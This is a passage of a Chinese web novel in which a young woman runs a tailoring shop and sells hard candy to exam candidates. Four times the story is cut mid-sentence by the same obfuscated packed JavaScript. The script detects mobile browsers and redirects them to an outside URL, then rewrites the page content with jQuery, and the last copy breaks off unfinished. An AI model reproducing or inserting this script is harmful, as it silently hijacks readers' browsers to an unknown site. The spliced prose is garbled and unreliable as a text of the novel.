“再说季娘娘这边。” 铺面开张后，季鲜儿便也随着季掌柜搬入，库房内隔出一间内室于她，已经开始裁布缝衣。 有时路过库房，黎姣姣见其佝偻身型，有心同季掌柜交代：“你季娘娘年岁大，又吃了不少苦，这批衣物倒不用急得她呕心沥血去做，得注意歇息。” 季掌柜感动：“多谢姑娘体恤，我们也是念着是铺里面的头货，心里记挂工日，哪能安心。” 店里已经订下三件长衫、襦裙两条、半臂小衫两件。 正常工日为长衫月余、襦裙二十日、小衫十五日。 可如今店里只有季鲜儿一名绣娘，全权负责裁布、制衣、花样绘制及缝制，她手里各类制式还需比普通工日再多上半程 工日吃紧的困难早早就报给主家，现在众人齐聚，季鲜儿瞧主家脸色、又去看马红翠，小声也是说着怕来不及交货。 “所以，现在最紧要的问题还是缺人。” 黎姣姣点头，话朝着马红翠去：“我早让马大婆去寻人做工，怎么会找不到？” “奴也是没想到啊。” 马红翠委屈开腔，“得了姑娘的话，我立马去了东郊，想着此前进城的多是妇孺，找几个娘子来做工算不了难事。” 可这群难民已然有了工作！ 一听这话，头一个着急的是季掌柜。 “这可如何是好啊！” 她急得像个兔子蹦哒脚步，有了点十五六岁孩子的模样。 黎姣姣一听也是慌张，见屋内个个完蛋模样，她几番深呼吸，稳住心神、按下脾气。 发脾气若是有用，这世间早就写上她黎姣姣的大名了！ 她拍板：“好了！有我在，你们慌个什么。” “听我的，你和季娘娘先去歇息半日。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349362|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她指着季华，“对外头的小工，只说找到了绣娘，先将人心稳住。” “姑娘！这不行，不行！” 一听还要休息，季掌柜急得开始耍无赖，全然像个傻子、被宠溺哭闹着要糖吃的孩子，两腿一蹬竟然坐到地上撒泼起来。 春苗倒对她和颜悦色起来，不断宽慰她：“好孩子，这里有姑娘在，放心吧！她说话、做事没有不成的！ 这可是好心肠、菩萨一样的人物，你和季大娘也不用担惊受怕的，再如何，从前的糟心日子是回不去了！ 今天好好回去休息休息，而且今个花婆子也会家去，你们娘三许久没好好聚聚了，去吧去吧。” “是了，你如今也是大掌柜，这像个什么样子，季娘娘，你可不能纵容她太过了。” 黎姣姣语气淡然，不紧不慢的样子哄住这几人。 季华呆楞住，被季鲜儿拉起来，得了几巴掌，拍得身上梆梆响。 “这孩子，也是太替姑娘操心了。”季鲜儿耸眉耷眼，手牢牢牵住季华，语气缓缓：“既然事实如此，我们再想法子解决，天塌下来也是有姑娘您撑着，不知红翠嫂子查到这些难民去哪做工了？” 马红翠被点名，她下意识看向黎姑娘，见其模样，吃了颗定心丸，于是接上前文，继续道： “正如春苗说的，有姑娘在，想来是万事不惧，说起这东郊，奇怪之处不少。” 首先是新建屋均得以保留，未修好的由民生署拨款继续修建，人人便都有新屋住，按房屋地址建立新户籍，做到一家一户。 二来，东郊多沙地，田地少且分散，于是民生署便设乡长一人、行伍五十人，专职种地，每月有工钱领，田地收成还由这批难民均分。 无论男女，幼者为半、年富者为一，一数便得一成，三年之内，不作赋税。 “不过，这些银钱都是民生署借给他们的。” “我还说鄂州的官老爷是青天来着，对这难民竟然如亲娘一样好，又给房子又给地，还给钱！果然，还得抠回去！”春苗插话到。 马红翠摇头，继续往下说。 拿了户籍的人也同时签了欠条，只不过欠的不是人、也不是钱，而是时间。 凡领田立户者，月内二十日须得到厂中上工。 “那片沙地，民生署划了最荒芜的一块，预备修一间公中的房子，说是砖房，用作产糖的工厂，以后厂里的利钱，扣除建屋开田以外，就拿来做众人的工钱。” “厂？上工？”春苗越听越迷糊。 黎姣姣则恍然大悟，难怪东郊的田地最后未能进行置卖，不少人算计来去一场空，她便是城中盘算落空的一人。 她又四处打听，女户可立，不过人户得合一，纠结再三，她还是没舍得搬出于府，心里发恨刻意不理东郊事。 民生署？黎姣姣记起来，不是午女官在督办这桩事吗？白女一块忙碌，是她跟着午女官安定下了东郊的难民？是她们想出了糖厂的主意？ 既然事成了，为何白女又被赶回来了？ 种种疑惑涌上心头，在思索之中，她错过季鲜儿那一瞬间神色的松动。 是怀念、是欣喜，是如落物入深井之中激起波浪，又永久地消散，无人能够探测。 18. 话聊 招工终究困难。 只好让马红翠多方去找人，将月钱也提高半两。 黎姣姣屏退两人，留下季鲜儿、季华，她恳切道：“铺子里还有几个小工，先将就让她们做些活计，我保证三日之内，必会将绣娘招来。” 她那双眸子，定定瞧上一人，便会叫人觉得，何为全心全意、满心满眼独一人。 这会，她满目水色流向季鲜儿。 季鲜儿老妪模样，身型佝偻，自卑似是深入骨髓，何时何地，她都会尽全力降低自己的存在，此时被主家眼巴巴瞧着，让她更觉无地自容。 惯常是盯着地面，难堪之间，怯弱的目光对上主家。 那位小姐的眼神里依旧是她，只有她，没有鄙夷和厌恶，当然也没有包容和欣赏，如同波澜不惊的湖面，反应着她的情绪、所思所想。 多熟悉的一幕啊，曾几何时，也有一人—— “有一办法。” 季鲜儿怯生生回答。 一件上衣无非是衣身、双袖，制衣的部分交给小工们，按照衣稿裁剪、缝制，算不得难事，各处细节的花样缝制才叫难题。 季华闻言，立马合掌叫好：“是了！” 接着，季鲜儿又说。 刺绣一贯都是绣在成衣上，现下可改为褂子的形式。 在成衣制作的同时，还可以绣制花样褂子，最后再将褂子缝合到成衣上。 并且花样子也单一，无非是云纹、花纹，精细之处少，也可以让小工先绣个大概模样，细节之处再交由季鲜儿。 这样分配下来，活计被分散开，能同时制作三四件成衣，大大缩短时长，且对熟手的需求也不迫切。 黎姣姣眼前一亮，她转念，既有手艺又有计算，季鲜儿此人绝不简单。 “这样好！镜花楼我便安心交由你们母子，再有任何困难，我们一道再商量、解决。” 主家的欣然接受和支持，叫季华更添壮志，嘴上也立誓：“姑娘放心，我必将这镜花楼做成名震一方的大生意！” 季鲜儿眼也热了，只是她暗暗消化着情绪，将千言万语揉在投向主家的眼神中，她似乎又找到了主心骨。 主家只是微笑，别无所觉。 忙活一日，再返回于府又是黄昏时候。 黎姑娘特意去到大厨房，在众人面前喊住喜乐两个丫头，她面露惊讶：“你们两个孩子都长高了不少啊！” 管事婆子揣手行礼，说：“表小姐送来的丫头，我们哪敢不用心，春苗娘子也时常关照她们。” “可怜两个孩子，南下跟我过来吃够了苦头。” 黎姑娘泪眼婆娑，想来又念及逃难时候的伤心事。 管事婆子连连宽慰起。 南下逃亡至鄂州，春苗跟着黎姣姣进于府，依旧是随身大丫头。 马红翠被运作进外院，做采买活计，她们私下交往，明面上并不相识。 花婆子仍然养花，受马红翠照拂，日子比从前好过不少。 喜乐两个丫头人小、也不起眼，府中有些暧昧不清的小事，黎姣姣就安排她们去接触。 因于府家仆懒散惯了，使唤两个小丫头越发顺手，她们在府中也越发受用，顺水推舟将两人挂在于府签了活契丫头，主要在厨房忙活。 细细想来，她的人手得运用起来了，黎姣姣抬眼，谢过管家婆子的好意，说道：“我曾答应过俩孩子，会让她们学手艺，不叫做奴仆，现下找好了去处，还请嫂子让我赎了她们。” 两人说好，待手上交代清楚，就放喜乐俩丫头出府。 黎姣姣谢过，又拉着人说了些家常话，待回听绿阁，天色已经暗了。 刚到院子，一个桃衣小丫头就过来，脚步跑得飞快，是许玟素院里的，她见到黎姣姣就笑开了：“终于等到黎小姐了，我们姑娘找了您好几回，都没见到您。” 这几日在外奔波、不太着家，黎姣姣暗自咬牙，若在有心人眼里，她这般举动如何说得过去。 心下所想，面上也矮一截，浅浅应和小丫头，也不顾自己劳累一天，又马不停蹄去到许玟素院内。 两人好久没能坐下畅聊，许玟素正置气，愣是怎么逗她，她也故作姿态不理。 停下动作，黎姣姣朝外走了两步，叉腰盯着凳子上气鼓鼓的小姐瞧了又瞧，瞧到小姐拿眼也瞧她，她笑问：“是哪里来的小贼？” “什么小贼？” “偷了两壶油，还大剌剌挂在嘴角的小贼。” 说着，走上前，指尖戳中小姐的嘴角。 许玟素不让：“我是小贼，姐姐是什么。” “让妹妹伤心的偷心贼？” 两人闹了一通，黎姣姣也找回几分小儿心情，一时放松下来。 贵妃榻上被两人玩闹得凌乱，歇下来，两人倚靠着软枕，松垮样子，皆是衣衫不整、发丝搅绕。 斜躺着，互相把玩着彼此玉藕一样的手臂、玉环手钏碰得叮当作响，小丫头们替小姐们理发，用一把羊角梳仔细整理，室内无话，馨香淡雅的玫瑰味萦绕其中。 “这味道，让我想起王家夫人。” 许玟素一时半会没想起这位是谁，经提醒几番，才记起来：“是她呀，玫瑰夫人，听说她近日也不买香露了，倒让我也赚不到钱。” 有一搭没一搭地闲聊，许玟素名下的一家花露铺子常年供货给王家，这几日居然囤积下来、卖不出了。 “说是她家有考生，不能闻见刺激味，好笑，难不成考生是在考前才长出鼻子的？” “你越发对赚钱感兴趣了。”黎姣姣说，“正是这位玫瑰夫人，前几日我还请她见面了。” 将与各家夫人见面之事，在此刻玩闹般的环境说出，她眸光一凝，又道：“说不定借你哥哥的光，能让我高嫁出去呢。” “你真打算嫁人了？” 许玟素挥手打断梳头的动作，俯身趴倒在黎姣姣身前，抬头仰视眼前人，看得黎姣姣不自在，侧目，说：“你伤心什么，拿这种瞧负心汉的眼神看我，害得我起了一身鸡皮疙瘩。” “借他的光，唉……姐姐啊，我也是借表哥的光，家里满门心思全在他身上，没人催我婚事了，管家的事也交给我了，这样的日子，这样的……” 许玟素停顿，叹气，又继续说：“这样的日子，活得像老太君一般，这才是我想要的日子啊。” 钱权在手，黎姣姣倒是颇有同感，小时候在苟老爷院里，只顾吃喝玩乐就好，但是得等着吃喝送来，等着玩乐被允许。 父亲一死、家一散，流亡异乡、寄人篱下，可她竟然觉得畅快，她的头顶除了天、再无一物、一人，尽管事事不尽如人意，但事事由她所决定行动。 黎姣姣不多言，只是笑道：“那就快嫁人吧，等你丈夫死了、儿孙大了，自然就成老太君了。” 许玟素闻言大笑起来，笑中的无奈和无力，叫人听了不忍。 小丫头心疼，劝：“姑娘咱就别想那么多了，既然这几日您过得开心，就接着痛痛快快过吧，反正大少爷也不是一日能考完，放榜后说不定就直接去京都了，到时候太太们也跟着去，家里还不就是小姐您一个人。” “对了，说起你表哥，我也没敢多问，到底是谁请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349363|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神医将他治好了？” “午女官的恩典。” “那是少夫人的功劳了？难怪她成日也不出门，一心为大少爷伺候，又是求医、又是奉考，果真是以夫为天。” “这～我觉得奇怪，她不是这样一个性格，却舍得为表哥付出这么多，难不成，真是夫妻恩爱？” 两人一通感概，又聊起午女官，自她介入安置难民一事，非有心人，谁也忘了这回事，竟是安然无恙地将数千难民融入鄂州之中。 黎姣姣是知晓入城时候的惨烈状况，又掌握东郊糖厂的情况，便知午女官的手段非同。 因午女官牵扯到黎姣姣未得的女户一事，许玟素羞恼自己未能帮助姐姐，虽她本人并不在意，许玟素仍然难堪，因故左右而言他，见夜色越发深，干脆送她回院中歇息。 临了，塞了一百两银票到春苗手上，未多言语，许玟素借着月光、带着小丫头，两人影子如织，轻轻回去了。 偌大于府，只剩大少爷那处灯火通明。 日子离恩科越近，于府管得越发严厉，连两位小姐的出行都受到限制。 好容易找了个机会，黎姣姣特去镜花楼瞧瞧近况，一瞧，门口居然大排长龙。 黎姣姣使了个眼色，春苗明了，两人的车架绕道至后院，叩门，开门的是喜丫头。 个子高了不少，扎得两个羊角辫，几根碎毛零散掉落在脖颈后，见到来人是黎姑娘，她立马甜甜地请安。 “好孩子，你怎么又在吃糖，谁给你的，我定要罚她了！” 喜乐两个丫头嘴甜，说话甜、吃得也甜，马大婆觉得不好、又管不住溺爱的心，于是求到黎姣姣面前，让她做主。 这等小事，黎姣姣自然乐意，两个小丫头吃不到糖，委屈想哭、却对着自己只能撇嘴的样子，让她看得好笑又喜欢。 “不用想，肯定是花小子给的！” 春苗在一旁说，牵起喜丫头手，大掌抚顺碎发，伸手扯小儿的嘴角，嗔怒：“我也不饶他。” 远远的，一声求饶先于人到，“哎哟哎哟，我可冤枉，两个小人闹得我头晕眼花，才弄了些饴糖哄她们。” 季华急急忙忙跑过来，脸红，她个子长高、肩也宽不少。 黎姣姣摇头：“听春苗说你成熟些，瞧着还是嫩，能被两个小丫头使唤，估计铺子你也看不好。” 一时间，季华哎哟哎哟不绝，喜丫头偷偷钻进春苗裙摆，她步子迈不开，只好把孩子夹在腋下抱起来。 嘴里还吓她：“回了我就告诉马大婆，横竖你和姐姐少不了她一顿打。” 听到动静，库房里做工的人都出来见礼，黎姣姣点头当是回应，季鲜儿率先行礼，又吆喝着绣娘继续做工。 她对季华道：“前面客人你看好，别惊扰了姑娘。” 对上黎姣姣，她腰背挺直了些，摆手道：“姑娘这边请，特意留了一处安静地方给您。” 前铺后院，不改原先的格局，又多垒了几堵矮墙、砌了几间小堂。 镜花楼，从正门匾下进入，依旧老样子，出门进院，两排一人高的竹篱笆沿着小石径引向绣楼，篱后几层青纱帐透出隐约的模样，绣楼四周种下各色的花，香味不显。 后院库房扩展不少，极限方寸中又增添了半间厢房，一张长形木桌，围桌六把八仙凳。 “是你的主意？” 季鲜儿点头，不提镜花楼的事，她如平地惊雷般吐出另一桩谋算—— “东郊糖厂已运行两月有余，待其产出，不日城中糖价将会暴跌，这份价差中，姑娘若及时布置，必可从中获利不菲。” 19. 状元糖1 季鲜儿胸有成竹，谁料主家听完仍然稳坐泰山。 心绪不定，神色不变。 黎姣姣端坐，不在意道：“店里生意好了不少。” “是，是的。”季鲜儿噎住，细细解释，“开考在即，制了一批里衣，专供考生，暖和贴身但又不厚重臃肿，且是白布，检查时方便，因而虽价格不低，也有多人前来询价购买。” “谁的注意？” “是我的。” 季鲜儿惴惴不安，她知道黎姣姣的性子，不喜欢底下人有过多的心思和表现，但她偏想试试。 黎姣姣心里也在打鼓，拿不定季鲜儿的变化是为何，直觉告诉她，或许是件好事。 缓缓眨眼，连气息都要控制平缓，这是黎姣姣在紧张、激动时候的表现，越是心潮澎湃，越要神情自若。 连数五个呼吸，黎姣姣开口：“镜花楼是我在鄂州开设的第一间铺面，稳妥要比争利重要。” 季鲜儿一愣，随即低声认错：“姑娘教训的是。” 她看似唯唯诺诺，可黎姣姣莫名觉得怪异，她展露的能力与性格大相径庭，自己这样夺她功绩，季鲜儿却连句辩解都没有。 处处矛盾，黎姣姣心下涌上一股征服欲，她许久没遇上这样的人。 装卑微？装柔弱？ 几乎是立刻，她接过季鲜儿的话：“我怎么是教训呢，你跟我不久，不知道我的脾性。” 黎姣姣婉婉道来：“日久见人心，我嘴笨，说不得什么话。 我信缘分二字，马大婆与你们，我与你们，季娘娘，我信你的手艺，也见你为店付出的心血，我不懂工艺，只晓得一些取巧伎俩，要真想经营好这家店，还全得靠你和花小子。 只是怕树大招风，虽然背靠于家，可我总不是他家的人，有心支持你们干一番大事业，难免困于小市井之中无力啊。” 这番话说得不可不谓推心置腹、情真意切。 季鲜儿颇受鼓舞，找回些自信，亦是感动：“姑娘不用担心，这城中非我们一家铺子这样做，谁叫考生多，倒显得我们火热。” “那便全仰仗你了，再说说糖的事吧。” 季鲜儿开口：“听闻姑娘早就选好了食阁铺面，打算做点心生意。” 这处铺面同成衣铺子是一块选址，早就装潢完毕，只是苦于人手短缺，加之此前贵女衣裳生意难做，手里没多的银子，因此搁置下来。 “别的可放缓，再好好筹备一番，但考生的生意得抓紧做，四月初就进考场，一连三日，衣食住都在考场内，里衣合他们心意，自然还有吃食的生意可做。” 可自备的吃食要想进考场，需得细细检查，若是饼掰成小块还能吃，可点心碎成渣，既不顶饱还容易弄脏卷面，因而很少有人携带点心进场。 提出异议，却见季鲜儿眼光一转，她道：“姑娘说的对，那我们若是卖糖块呢？晶莹剔透的糖，不作果腹的吃食，但却可以提神、缓饿，且只用过目检查即可。” 糖？并不罕见，柘浆制得的糖一般是质软、绵密的褐色沙糖。 可晶莹剔透、还成块的糖？黎姣姣想不出。 季鲜儿早有准备，拿出一块糖，黎姣姣看得眼热，黄白色、成块，对光状似玛瑙。 “有这样的糖？”她脱口而出，“莫不是跟东郊糖厂有关？” “这是糖厂的产物？”又急着追问。 季鲜儿摇头又点头，她说：“现下糖厂做不出，可要不了多久，他们也可大量产出这种块状糖。” 端详那小小一块糖，黎姣姣脑子里思绪万千，可抓不住头绪，任由各种想法驰骋，她冷静下来，能挣钱，能挣大钱。 既然话里话外，季鲜儿都在往糖厂上引，说明她对糖厂充满自信，可自信从何而来？糖厂和她能制出糖块的方子又是何处来？又或者是同一出处？ 再者，就算东郊糖厂能出大量的糖，仅一个厂的产量够使鄂州城的糖价跌？ 糖与盐不同，糖一向由行情定价，至于奇货可居、大街货价贱，糖会变成大街货吗？ 摆足好奇姿态，黎姣姣拧眉，问：“究竟有何奥秘？” 季鲜儿并不托大，她全盘托出：“姑娘，您可知东郊糖厂工人多少、制糖锅炉多少？依我探得的消息来看，其年产可达数千斤。 鄂州城内，糖价常年平稳，不高不低，如今糖厂的消息释出，隐约有价低的趋势。” “更者，也会有人不信糖价会降低。 我们可现下借高价糖、届时还低价糖，中间的利润便可以落袋。借来的普通糖，经过一道加工，就能变成这样。”她掌心中的糖块越发耀眼。 黎姣姣惊叹：“季娘娘，你这主意是我前所未闻的，且不说借高还低的办法，你这个制糖的法子只怕也是难得。” 她阻止季鲜儿意欲解释的动作，道：“你是经过两朝的人，其中苦楚不少，至于比常人多一些本事，全都是机缘，你不用解释。” 这话叫季鲜儿眼眶一热、差点落下泪，她低下头，深深闭眼，恍然间，透过这同样的温馨话语，她见到了另一个人，同样的那人…… “既然姑娘有了定夺，就交由我们去做吧。” 黎姣姣哪能不答应。 两人决定将糖块生意随里衣生意一起准备。 “依我看，在短时间内，不仅要制出糖来，还要把糖多多卖出去，这样！”黎姣姣眼睛亮亮的，难掩兴奋，“糖块不放到食阁去，干脆放到摊贩上。不仅我们自己卖，散出去，叫整个鄂州的小贩都去卖。” “就叫状元糖！” 当夜季华急急在西郊买了一处荒废的小院，不大的三进院。 连夜收拾，次日，院中架起明火大锅，飘出腻人的甜香来。 时间一晃就是三月中旬，恩科的日子越发近，又从京都发出另一道旨意—— 太后感于典籍散佚，奏请设立尚书局，选良家女入局为女学士，整理宫藏图书、修撰内廷典籍，以备咨议。 选考将在恩科之后，便是四月下旬开始进行。 报考条件有四：户籍清白、未婚、三代无犯官、有保人具结。 黎姣姣早有报考女官的打算，女户是她的第一步，计划虽不成，但背靠于氏，出身背景可作掩饰。 黎姣姣放弃女户，也放弃了苟这个姓氏。 新皇登基后，平反消息陆续传开，于老太君问过她，是否愿意回京都、恢复苟氏女的身份，黎姣姣称证明身份的玉佩丢失，自己又是个庶女，难以面对父亲的宗族势力，只怕过得不好，便恳求继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349364|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续以于氏表小姐的身份生活。 可是放弃的过去造就了现在的她，既无学识、也没手艺。 而考试分笔试、技艺、殿试等三项。 看得黎姣姣心碎。 笔试！笔试！ 女学士须通文墨，考题有四：默写典籍、做诗赋、写文章以及算术十题。 可黎姣姣没上过正经学，也不识得几个字，真到卷面上，只怕落出个天大的笑话。 当夜许玟素摸了过来，说的正是女官考试。 “姐姐有意吗？” 许玟素不知道自己有个文盲姐妹，因苟老爷本是科考出身，苟太太又是世家长女，府中对外所示也是清流家风，这样的人家女儿，不说满腹经纶，也定是胸有点墨。 可黎姣姣没有，没有夫子，连教习嬷嬷也没有，苟老爷闲时教教几个典故，或是带着小女游玩时，同她说说传闻八卦。 学问，黎姣姣自己倒是偷偷学了些，不过见字就昏，便放任自流，依她想来，虽没有识字的本事，但世上对女子也没这个要求。 在自己的短处上，黎姣姣就忘记要有同父兄一样的野心了，说白了，若日子好过，顺她心意，她又何须争来抢去，学问不似金银，看不见、摸不着也不觉欠缺。 再寻别的路子吧。 等许玟素提起，她也淡然。 “没这个打算，怎么？听你口气，有这个念头？只是你已定了婚约，老太君那边是决不许退婚的。” 许玟素知道利害，舔舔嘴，满脸写满了纠结。 许是不甘心，她开口的话竟是劝慰自己的话：“虽说我回鄂州以来，与表哥是一块读书的，可他是什么人物，我不过读个趣头，罢了罢了。” 是了，女人的学问学上天，也无非是多懂几个字，好去看些话本子，而话本里无非妖精志怪、情情爱爱。 黎姣姣更是自得起来，吐出的话也动听：“你的打算我都会支持，只是你自己先要拿好主意。” 许玟素嘴一撇，以为她又要提婚事。 黎姣姣呸了一句，说道：“知你不愿提那些事，我又怎会煞风景！便不说你那未进门大伯，韦鸿胪，如今也是韦侍郎了，继任父亲的礼部侍郎官，要来鄂州做考官了，他弟弟，你未进门的丈夫，今年恩科再一高中，你就要热热闹闹嫁出去了！” 她一招以退为进，又在许玟素耳边嚼了一通舌根，让心乱的许小姐更是烦闷。 “好了，成天垮着脸！”黎姣姣啐她，“我同你说过好多次，嫁不嫁人心里都要有成算，要嫁就做好他人妇的打算，不嫁就拿出勇气来。” “你可别怪笑！我从来没叫你不嫁人啊！雀娘你回来！别跑！许玟素！” 呼唤声中，许小姐真同只小雀一般欢快飞走，似乎只需轻轻一句话，就能推落压在心里的大石。 留下黎姣姣口干舌燥，真真是个坏姑娘，被她唬得也胡言乱语。 春苗听了全程，捂着嘴笑，说：“我看姑娘既怕许小姐拿您的话做圣旨，真不嫁了，其实呀～又怕许小姐真嫁出去了。” “嫁不嫁人的！于我何干！”黎姣姣难得装傻，“偷偷给我买本千字文回来，还有女诫、女训通通都买了。” “是！” 春苗也笑嘻嘻跑走。 20. 状元糖2 夜里挑灯执笔。 铛，一声脆响，搁笔落置青瓷笔架上，顿觉手腕酸痛、脖颈僵硬。 写个字，竟这么累。 “姑娘，不早了。” 声音从脚边飘上来，黎姣姣侧过身往下瞥，见春苗坐在小凳上、倚着桌腿，抱手打盹，一夜守着剪蜡花，她已经困得睁不开眼。 “好吧。” 黎姣姣颇有些意犹未尽，她粗粗认了一遍《千字文》，自己居然懂不少字，不免自满，也不觉得考个学能有多难。 乘热打铁，她又拿起《女诫》，黄纸卷轴翻滚展开，密密的手迹接踵而至。 只一眼，她就卷起来了。 还是睡觉吧。 清晨被淅淅沥沥的雨吵醒，屏风后春苗的身影晃到帘前。 “书本都要藏严实了，不得给人知道我在读这些。” 黎姣姣睁眼第一件事，念及昨夜睡得匆忙，也忘记收拾书桌，要是被人看见，难免起疑。 “昨儿已经收拾了，姑娘放心吧。” “好春苗，你真是越发能干了。” “还记得姑娘有一阵子，也是叫我偷偷买了好些书回府上，可惜被太太发现了，发了好大的气，差点连我都要卖出去。” 春苗麻利地拾捣床面，将翻身压出的褶皱一一理平，嘴里也没停，“从那以后，我才知道，咱们做什么事还得避过太太呢。“ 她话说得轻松，当年却不容易，在刻意去遗忘的情况下，黎姣姣还是清楚地记得。 苟太太太愤怒了，她的脸发青，声音尖锐，对劝阻的婆子怒目，眼睛瞪得大大的，瞪得红红的，她说：“谁许小姐看这些的！“ 仿佛是十恶不赦的罪行，一本三字经被太太拿剪子绞得粉碎。 “是啊。” 黎姣姣不咸不淡终止了追忆。 她说要出门，去看看状元糖的进展。 春苗有些发愁，举起伞，替主子挡住连绵细雨，她后知后觉，主子是生气了。 对这府中唯一的女儿，苟太太一贯是娇宠对待，春雨想不明白，明明读书认字是好事，一向受宠的苟小姐却不能做，她又想，以主子的聪慧和劲头，什么时候读书都不晚。 刚到镜花楼，收伞雨也停了。 季鲜儿对主家的到来有些意外，上回主家走时，还说近日都没空过来了。 不过她也没多想，喜笑颜开迎上去，欢声道：“您来的正好！咱们刚做好一板糖，就在库房放着，等夜里散卖给别的摊。” 黎姣姣跟着去瞧，糖块被叶片包裹住满满装了一筐，甜腻味直往面中拍。 拆开一包，成色虽不如季鲜儿当日展示的那般好，却也不是市面上的糖沙可比的。 “小半个月也就出了这一筐，产量还是低了些。” “前几回还在尝试配方，这锅大货一出，方子就没问题了，再添几口锅，厂量不用担心。” 工坊将糖重融，在糖浆中分别加入牛乳、桐籽壳灰，待锅壁不烫手了，糖浆会出现分层，倾倒上层液，底部半干半湿的胶状就是状元糖的雏型。 将糖胶倒入模具中，晒干后，从模具中便能剥离出指甲盖般大小的方型糖块，小巧又精致。 “定价多少？”黎姣姣问。 “一文钱两块糖。” 普通糖价约莫在六十文一斤，状元糖的定价可太便宜了，那利润空间能有多大呢。 她问，也坦率直言：“若是只是小利，状元糖的价格不妨提一提。” “两文是卖给客人的，卖给摊主还要更低一些，您瞧这一包里差不多二十块，十包糖就免一包的价钱，这批若是全能出手，盈利能有一两银子。” 将近两千文的盈利！ 黎姣姣自然就明白，这个制糖的法子，除了糖，也不需要别的贵价东西往里添，那会是什么？能放进糖浆中，不改甜味，又能使松软的糖沙变得成型。 会是某种汁液？这所谓的秘方并不难猜。 她心里有了数，也有了别的念头。 新的一日，新生的太阳照在鄂州城的新鲜货上，平平无奇的竹筐里一摞小方竟有宝石的光泽。 “店家，这是什么？” “客官，这是糖，状元糖！买了糖，您家的考生必定蟾宫折桂、连中三元啊！” 很快，这小小的糖块，价格低、寓意好，颇受学子们的青睐，就连普通百姓也乐于买上两块尝尝。 不消十日，状元糖便风靡鄂州城，几乎所有卖吃食的小摊、小贩都会顺带卖一点状元糖，就连肉铺，杀猪匠的手边也要放一碟糖， 美名：“吃了状元糖，不作杀猪郎。” “账上现钱充足，交代季华，食阁找个吉日也开门吧。” 三月底，镜花楼、西郊糖坊的账本送到黎姣姣手上，她见密密的红字，状元糖多销还厚利，她便将另一间铺子也提上日程。 “等等。” 黎姣姣突然改口道：“算了，你回她，食阁我来开。” “姑娘是要过明面了？”马红翠问。 “对。” 与镜花楼隐于人后不同，食阁的存在，她决心让许玟素知道，并且她还计划拉许玟素也投一份。 吃食这块绕不开厨子、原料。 而原料里的一味糖，正巧有关东郊糖厂，食阁事小，黎姣姣意欲借此，拉上许玟素一块介入东郊。 她得对午女官的喜恶摸个底。 女学士要考，可成为女官并非只能考，白女从午女官那边失了势，若自己得了午女官的青睐，岂不是也能捞个女官当当。 春苗漏出半个头在门口朝她眨眼，黎姣姣微点头示意。 她慢悠悠站起身，对着院内仆妇道：“各位好嫂嫂，今日听绿阁发生的事还请替我保个密。” 众人老实的脸上满是诚恳，她们纷纷应好。 不到傍晚，许玟素火急火燎杀入院子来。 “好姐姐，你怎么打算搬出去了！要不得！决不可！” 她风风火火，人没到，嗓门先掀翻门帘。 黎姣姣端杯遮住自己嘴角的笑意，等人一来，她故意表现得在说谎，刻意露出些心慌样子，只说自己找了别的去处，不愿再叨扰府上。 “什么叫叨扰？我们虽不是一个娘生的，可在母亲塌前也是立过誓言，余生要彼此照顾的。你我……在我心里，你是要比亲姐姐还要亲的人物。” 许玟素情真意切，眼珠子里的润色聚成泪滴，大朵大朵往下坠。 “好姑娘，您的心意……” 春苗也是动了情，就差上去与许玟素抱头痛哭，两人虽身份不一，但对黎姣姣有着相同的、诚挚的感情。 “妹妹的心意我当然明了。” 黎姣姣见春苗与计划中不一样，她马上截话：“是我不好，也不瞒你了，在外头我计划开一间铺面，想着有了起色，便也有一份置业足够生活。” “也不至于要搬出去呀！” “你先别急，听我慢慢说。” 牵起许玟素的手，拉着她坐在贵妃榻上，两人靠在一块，肩并肩，摩挲着掌心里这只柔若无骨的手，黎姣姣抬头对上一双红彤彤的眼，正定定注视着眼前人。 “还没拿定主意呢，只是今个收拾被嫂子们发觉了行李，我还求她们遮掩半分，没料到你这么快就知道了。 我知道，她们也是关心我。”黎姣姣安抚道，“只是随着你与大少爷的好事接近，我在家中也住不踏实。” 许玟素脸色唰地垮下，她喃喃道：“哪有什么好事。” “哪有什么好事！哪有！哪有！” 心绪越发激动，许玟素气息急促，好似呼吸不畅，她用足十分力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 